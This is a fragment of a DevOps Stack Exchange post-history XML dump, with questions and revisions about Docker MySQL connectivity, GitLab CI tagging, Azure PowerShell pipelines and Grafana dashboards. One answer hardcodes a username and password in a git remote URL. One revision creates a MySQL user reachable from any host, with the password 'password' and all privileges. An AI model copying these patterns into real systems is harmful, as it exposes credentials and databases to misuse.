$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;No typo's involved, I just waited a bit and came back.  Then it worked.  Something about connection pooling perhaps?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38215" PostHistoryTypeId="1" PostId="12443" RevisionGUID="23bc0206-8fa4-40a5-a127-3699091451a9" CreationDate="2020-09-20T21:19:35.693" UserId="23443" Text="from docker container: intermittent error: ERROR 2002 (HY000): Can't connect to local MySQL server through socket" ContentLicense="CC BY-SA 4.0" />
  <row Id="38216" PostHistoryTypeId="3" PostId="12443" RevisionGUID="23bc0206-8fa4-40a5-a127-3699091451a9" CreationDate="2020-09-20T21:19:35.693" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;images&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38217" PostHistoryTypeId="2" PostId="12444" RevisionGUID="bf4f2f64-0808-4a4a-8b0e-645ac89b0c93" CreationDate="2020-09-21T03:12:17.950" UserId="10932" Text="I was trying to tag a git branch using Gitlab CI. With the help of this answer from this community,&#xD;&#xA;&#xD;&#xA;&gt; https://devops.stackexchange.com/questions/3794/how-to-tag-source-code-using-gitlabci&#xD;&#xA;&#xD;&#xA;I can successfully tag a git branch from Gitlab CI pipeline. But In that method, I noticed that we need to provide the gitlab credentials in that pipeline code. I know, we can pass that as Gitlab environment variables. &#xD;&#xA;&#xD;&#xA;But I just need to know, is there any other method to do this operation? With a Key or Token or something rather than direct username and password? &#xD;&#xA;&#xD;&#xA;Not sure whether my question legit? I was thinking about the security side of it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="38218" PostHistoryTypeId="1" PostId="12444" RevisionGUID="bf4f2f64-0808-4a4a-8b0e-645ac89b0c93" CreationDate="2020-09-21T03:12:17.950" UserId="10932" Text="Is there any other approach for tagging git branch using pipeline without credentials in pipeline code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38219" PostHistoryTypeId="3" PostId="12444" RevisionGUID="bf4f2f64-0808-4a4a-8b0e-645ac89b0c93" CreationDate="2020-09-21T03:12:17.950" UserId="10932" Text="&lt;git&gt;&lt;gitlab&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38220" PostHistoryTypeId="2" PostId="12445" RevisionGUID="f6157c24-2280-4600-94b8-60f1f2f50559" CreationDate="2020-09-21T04:47:10.360" UserId="10932" Text="Combining the answer of https://devops.stackexchange.com/a/3854/10932 and the comment of Overbryd along with a slight modification worked for me. Here, instead of using using **git remote set-url** command, I used **git remote add**. &#xD;&#xA;&#xD;&#xA;The code will look like this: &#xD;&#xA;&#xD;&#xA;    image: maven&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;    - build&#xD;&#xA;    - deploy&#xD;&#xA;    - tag&#xD;&#xA;    &#xD;&#xA;    maven_build:&#xD;&#xA;    stage: build&#xD;&#xA;    &#xD;&#xA;      script:&#xD;&#xA;       - mvn clean package&#xD;&#xA;       artifacts:&#xD;&#xA;      paths:&#xD;&#xA;       - target/*.jar&#xD;&#xA;    &#xD;&#xA;      after_script:&#xD;&#xA;       - ls -a&#xD;&#xA;       - cd target &amp;&amp; ls -a&#xD;&#xA;       - git --version&#xD;&#xA;       - git remote remove origin&#xD;&#xA;       - git remote add origin https://&quot;username:passwd&quot;@gitlab.com/accountname/projectname.git&#xD;&#xA;       - git config user.email &quot;${GITLAB_USER_EMAIL}&quot;&#xD;&#xA;       - git config user.name &quot;${GITLAB_USER_NAME}&quot;&#xD;&#xA;       - git tag -a 1.0.15 -m &quot;Version created by gitlab-ci Build&quot;&#xD;&#xA;       - git push origin 1.0.15&#xD;&#xA;      only:&#xD;&#xA;        - master&#xD;&#xA;&#xD;&#xA;Thanks to both. " ContentLicense="CC BY-SA 4.0" />
  <row Id="38221" PostHistoryTypeId="2" PostId="12446" RevisionGUID="b74a09c1-bd82-4031-ba29-4537baad667d" CreationDate="2020-09-21T08:27:30.147" UserId="17329" Text="I need to create a dashboard that is using micrometer prometheus spring actuator endpoint to show all services for a given namespaces in green boxes or red boxes depending on status, the boxes should contain the service names.&#xD;&#xA;Now I am trying to decouple currently https://grafana.com/grafana/dashboards/4701 and somehow build the dashboard I need, but I face many challengers, the first one is replacing ips with service names. I don't want to mess up with services code, I have just added the micrometer dependency in a common template that is inherited.&#xD;&#xA;The way I see it I feel like it is impossible that nobody has created a publicly available dashboard or a guide, but I couldn't find one." ContentLicense="CC BY-SA 4.0" />
  <row Id="38222" PostHistoryTypeId="1" PostId="12446" RevisionGUID="b74a09c1-bd82-4031-ba29-4537baad667d" CreationDate="2020-09-21T08:27:30.147" UserId="17329" Text="Grafana K8s microservices availability dashboard based on actuator uptime" ContentLicense="CC BY-SA 4.0" />
  <row Id="38223" PostHistoryTypeId="3" PostId="12446" RevisionGUID="b74a09c1-bd82-4031-ba29-4537baad667d" CreationDate="2020-09-21T08:27:30.147" UserId="17329" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;sre&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38224" PostHistoryTypeId="5" PostId="12178" RevisionGUID="d15e37a1-aed2-4e89-a001-b109fd38d7b6" CreationDate="2020-09-21T10:44:25.867" UserId="1180" Comment="grammar corrections" Text="I'm trying to build a PowerShell module in an Azure pipeline (dev.azure.com).&#xD;&#xA;&#xD;&#xA;I've setup an initial pipeline and then building it up incrementally in small steps, because inexplicable errors are encountered far too easily on Azure.&#xD;&#xA;&#xD;&#xA;I've added a 'Prepare' stage:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: $(Build.DefinitionName)_$(Date:yyyyMMdd))&#xD;&#xA;&#xD;&#xA;trigger:&#xD;&#xA;- master&#xD;&#xA;&#xD;&#xA;pool:&#xD;&#xA;  vmImage: 'ubuntu-latest'&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  major: 0&#xD;&#xA;  minor: 0&#xD;&#xA;  patch: $(Build.BuildID)&#xD;&#xA;  buildVersion: $(major).$(minor).$(patch)&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;- stage: Prepare&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Prepare&#xD;&#xA;      steps:&#xD;&#xA;      - powershell: .\bootstrap.ps1&#xD;&#xA;        displayName: 'Install pre-requisites'&#xD;&#xA;```&#xD;&#xA;This is based on the original yaml that you get by default when you start a new Pipeline, so the part invoking the bootstrap file is what I got generated for free (This part works ok).&#xD;&#xA;&#xD;&#xA;The bootstrap uses a dependencies file into which you can declare your dependencies and these are subsequently imported. One of those dependencies is InvokeBuild which contains the Invoke-Build command. So I would expect to be able to use the Invoke-Build command in subsequent stages.&#xD;&#xA;&#xD;&#xA;The next part of the yaml pipeline is as follows:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            targetType: 'inline'&#xD;&#xA;            script: 'invoke-build build'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The *invoke-build build*, in itself is ok and valid and works on a local host.&#xD;&#xA;&#xD;&#xA;The *Build* job fails with the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/usr/bin/pwsh -NoLogo -NoProfile -NonInteractive -Command . '/home/vsts/work/_temp/edb3758b-8e16-448d-bea2-9ba18acb9693.ps1'&#xD;&#xA;Invoke-Build: /home/vsts/work/1/s/do-build.ps1:3&#xD;&#xA;Line |&#xD;&#xA;   3 |  Invoke-Build build&#xD;&#xA;     |  ~~~~~~~~~~~~&#xD;&#xA;     | The term 'Invoke-Build' is not recognized as the name of a&#xD;&#xA;     | cmdlet, function, script file, or operable program. Check the&#xD;&#xA;     | spelling of the name, or if a path was included, verify that&#xD;&#xA;     | the path is correct and try again.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I discovered there is another way to invoke the build with the PowerShell@2 task using the *filePath* input:&#xD;&#xA;&#xD;&#xA;```ymal&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            filePath: '$(System.DefaultWorkingDirectory)/do-build.ps1'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the do-build.ps1 script is defined as:&#xD;&#xA;&#xD;&#xA;```powershell&#xD;&#xA;Set-Location .\Elizium.FakeBuddy&#xD;&#xA;Invoke-Build build&#xD;&#xA;```&#xD;&#xA;(Elizium.FakeBuddy is the name of my PowerShell test module being built and that directory contains the *InvokeBuild* build script)&#xD;&#xA;&#xD;&#xA;but this fails with the exact same error.&#xD;&#xA;&#xD;&#xA;So why is the *invoke-build* command not available in the PowerShell session at the build stage, even though the Prepare stage has already imported the module?&#xD;&#xA;&#xD;&#xA;The only thing I can think of is that different stages somehow don't share the same PowerShell session, but I don't know if this is correct, this seems unlikely, it doesn't make sense that different stages don't share the same session.&#xD;&#xA;&#xD;&#xA;EDIT: I tried an alternative version where the Build job is declared inside the same stage as Prepare, but this makes no difference, still a problem with Invoke-Build command.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38225" PostHistoryTypeId="24" PostId="12178" RevisionGUID="d15e37a1-aed2-4e89-a001-b109fd38d7b6" CreationDate="2020-09-21T10:44:25.867" Comment="Proposed by 1180 approved by 40 edit id of 1278" ContentLicense="CC BY-SA 4.0" />
  <row Id="38230" PostHistoryTypeId="2" PostId="12448" RevisionGUID="74211968-1270-4acc-adf3-e10c71b92e57" CreationDate="2020-09-21T11:58:32.883" UserId="23771" Text="Hashicorp recommends using provisioners only as a last resort. They recommend using the Azure VM custom_data method, or cloud-init where available.&#xD;&#xA;&#xD;&#xA;Ansible would likely be overkill unless you will need ongoing in-place configuration management. But there are ways to make VM2 securely accessible to Ansible or provsioners if necessary." ContentLicense="CC BY-SA 4.0" />
  <row Id="38232" PostHistoryTypeId="2" PostId="12449" RevisionGUID="bed04f16-7f5f-4eda-bcd8-e335fc81442b" CreationDate="2020-09-21T12:32:59.857" UserId="23443" Text="So far as I can tell this [default][1] container works fine:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                  PORTS                               NAMES&#xD;&#xA;    7b119ef62a85        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   17 hours ago        Up 17 hours (healthy)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1:33060 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2005 (HY000): Unknown MySQL server host '127.0.0.1:33060' (22)&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1130 (HY000): Host '172.17.0.1' is not allowed to connect to this MySQL server&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 2021&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I connect to the database directly from the host?  Using:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Products Included in the Container&#xD;&#xA;&gt; &#xD;&#xA;&gt; A number of MySQL products are included in the Docker container you&#xD;&#xA;&gt; created with the MySQL Server Docker image:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     MySQL Server and other MySQL Programs including the mysql client,mysqladmin, mysqldump, and so on. See the MySQL Reference&#xD;&#xA;&gt; Manual for documentation of the products.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although a simple console prompt acquired through `bash` from the host would be sufficient.&#xD;&#xA;&#xD;&#xA;Rather than &#xD;&#xA;[Connecting to MySQL Server from within the Container][2]&#xD;&#xA;or&#xD;&#xA;[Container Shell Access][3]&#xD;&#xA;&#xD;&#xA;I'm looking for access from the host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/mysql/mysql-server/&#xD;&#xA;  [2]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-connecting-within-container&#xD;&#xA;  [3]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-shell-access" ContentLicense="CC BY-SA 4.0" />
  <row Id="38233" PostHistoryTypeId="1" PostId="12449" RevisionGUID="bed04f16-7f5f-4eda-bcd8-e335fc81442b" CreationDate="2020-09-21T12:32:59.857" UserId="23443" Text="How to gain console access to a MySQL server running on a docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38234" PostHistoryTypeId="3" PostId="12449" RevisionGUID="bed04f16-7f5f-4eda-bcd8-e335fc81442b" CreationDate="2020-09-21T12:32:59.857" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;images&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38235" PostHistoryTypeId="5" PostId="12449" RevisionGUID="5b5401b6-6772-46ff-9004-d4668f3041f4" CreationDate="2020-09-21T12:40:19.430" UserId="23443" Comment="added 498 characters in body" Text="So far as I can tell this [default][1] container works fine:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                  PORTS                               NAMES&#xD;&#xA;    7b119ef62a85        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   17 hours ago        Up 17 hours (healthy)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1:33060 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2005 (HY000): Unknown MySQL server host '127.0.0.1:33060' (22)&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1130 (HY000): Host '172.17.0.1' is not allowed to connect to this MySQL server&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 2021&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I connect to the database directly from the host?  Using:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Products Included in the Container&#xD;&#xA;&gt; &#xD;&#xA;&gt; A number of MySQL products are included in the Docker container you&#xD;&#xA;&gt; created with the MySQL Server Docker image:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     MySQL Server and other MySQL Programs including the mysql client,mysqladmin, mysqldump, and so on. See the MySQL Reference&#xD;&#xA;&gt; Manual for documentation of the products.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although a simple console prompt acquired through `bash` from the host would be sufficient.&#xD;&#xA;&#xD;&#xA;Rather than &#xD;&#xA;[Connecting to MySQL Server from within the Container][2]&#xD;&#xA;or&#xD;&#xA;[Container Shell Access][3]&#xD;&#xA;&#xD;&#xA;I'm looking for access from the host.&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;from [the][4] container:&#xD;&#xA;&#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; select user,host from mysql.user;&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    | user             | host      |&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    | healthchecker    | localhost |&#xD;&#xA;    | mysql.infoschema | localhost |&#xD;&#xA;    | mysql.session    | localhost |&#xD;&#xA;    | mysql.sys        | localhost |&#xD;&#xA;    | root             | localhost |&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    5 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/mysql/mysql-server/&#xD;&#xA;  [2]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-connecting-within-container&#xD;&#xA;  [3]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-shell-access&#xD;&#xA;  [4]: https://devops.stackexchange.com/a/1657/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38236" PostHistoryTypeId="5" PostId="12449" RevisionGUID="0096dd80-74fd-45db-a90c-bcd6a34a72e9" CreationDate="2020-09-21T12:47:11.130" UserId="23443" Comment="added 361 characters in body" Text="So far as I can tell this [default][1] container works fine:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                  PORTS                               NAMES&#xD;&#xA;    7b119ef62a85        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   17 hours ago        Up 17 hours (healthy)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1:33060 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2005 (HY000): Unknown MySQL server host '127.0.0.1:33060' (22)&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1130 (HY000): Host '172.17.0.1' is not allowed to connect to this MySQL server&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 2021&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I connect to the database directly from the host?  Using:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Products Included in the Container&#xD;&#xA;&gt; &#xD;&#xA;&gt; A number of MySQL products are included in the Docker container you&#xD;&#xA;&gt; created with the MySQL Server Docker image:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     MySQL Server and other MySQL Programs including the mysql client,mysqladmin, mysqldump, and so on. See the MySQL Reference&#xD;&#xA;&gt; Manual for documentation of the products.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although a simple console prompt acquired through `bash` from the host would be sufficient.&#xD;&#xA;&#xD;&#xA;Rather than &#xD;&#xA;[Connecting to MySQL Server from within the Container][2]&#xD;&#xA;or&#xD;&#xA;[Container Shell Access][3]&#xD;&#xA;&#xD;&#xA;I'm looking for access from the host.&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;from [the][4] container:&#xD;&#xA;&#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; select user,host from mysql.user;&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    | user             | host      |&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    | healthchecker    | localhost |&#xD;&#xA;    | mysql.infoschema | localhost |&#xD;&#xA;    | mysql.session    | localhost |&#xD;&#xA;    | mysql.sys        | localhost |&#xD;&#xA;    | root             | localhost |&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    5 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2#  mysqld --verbose --help | grep bind-address&#xD;&#xA;      --bind-address=name IP address(es) to bind to. Syntax: address[,address]...,&#xD;&#xA;      --mysqlx-bind-address[=name] &#xD;&#xA;    bind-address                                                 *&#xD;&#xA;    mysqlx-bind-address                                          *&#xD;&#xA;    bash-4.2# &#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/mysql/mysql-server/&#xD;&#xA;  [2]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-connecting-within-container&#xD;&#xA;  [3]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-shell-access&#xD;&#xA;  [4]: https://devops.stackexchange.com/a/1657/23443&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38238" PostHistoryTypeId="5" PostId="12449" RevisionGUID="3a5fbbdf-303f-48ff-9506-0b447664842d" CreationDate="2020-09-21T13:29:09.223" UserId="23443" Comment="added 1023 characters in body" Text="So far as I can tell this [default][1] container works fine:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                  PORTS                               NAMES&#xD;&#xA;    7b119ef62a85        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   17 hours ago        Up 17 hours (healthy)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1:33060 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2005 (HY000): Unknown MySQL server host '127.0.0.1:33060' (22)&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1130 (HY000): Host '172.17.0.1' is not allowed to connect to this MySQL server&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 2021&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I connect to the database directly from the host?  Using:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Products Included in the Container&#xD;&#xA;&gt; &#xD;&#xA;&gt; A number of MySQL products are included in the Docker container you&#xD;&#xA;&gt; created with the MySQL Server Docker image:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     MySQL Server and other MySQL Programs including the mysql client,mysqladmin, mysqldump, and so on. See the MySQL Reference&#xD;&#xA;&gt; Manual for documentation of the products.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although a simple console prompt acquired through `bash` from the host would be sufficient.&#xD;&#xA;&#xD;&#xA;Rather than &#xD;&#xA;[Connecting to MySQL Server from within the Container][2]&#xD;&#xA;or&#xD;&#xA;[Container Shell Access][3]&#xD;&#xA;&#xD;&#xA;I'm looking for access from the host.&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;from [the][4] container:&#xD;&#xA;&#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; select user,host from mysql.user;&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    | user             | host      |&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    | healthchecker    | localhost |&#xD;&#xA;    | mysql.infoschema | localhost |&#xD;&#xA;    | mysql.session    | localhost |&#xD;&#xA;    | mysql.sys        | localhost |&#xD;&#xA;    | root             | localhost |&#xD;&#xA;    +------------------+-----------+&#xD;&#xA;    5 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2#  mysqld --verbose --help | grep bind-address&#xD;&#xA;      --bind-address=name IP address(es) to bind to. Syntax: address[,address]...,&#xD;&#xA;      --mysqlx-bind-address[=name] &#xD;&#xA;    bind-address                                                 *&#xD;&#xA;    mysqlx-bind-address                                          *&#xD;&#xA;    bash-4.2# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-----------------------------------&#xD;&#xA;&#xD;&#xA;I [updated][5] the privileges as:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; CREATE USER 'user'@'%' IDENTIFIED BY 'password';&#xD;&#xA;    Query OK, 0 rows affected (0.40 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; GRANT ALL PRIVILEGES ON *.* TO 'user'@'%' WITH GRANT OPTION;&#xD;&#xA;    Query OK, 0 rows affected (0.21 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; FLUSH PRIVILEGES;&#xD;&#xA;    Query OK, 0 rows affected (0.06 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | %         | user             |&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    6 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/mysql/mysql-server/&#xD;&#xA;  [2]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-connecting-within-container&#xD;&#xA;  [3]: https://dev.mysql.com/doc/refman/8.0/en/docker-mysql-getting-started.html#docker-shell-access&#xD;&#xA;  [4]: https://devops.stackexchange.com/a/1657/23443&#xD;&#xA;  [5]: https://stackoverflow.com/a/22605418/4531180" ContentLicense="CC BY-SA 4.0" />
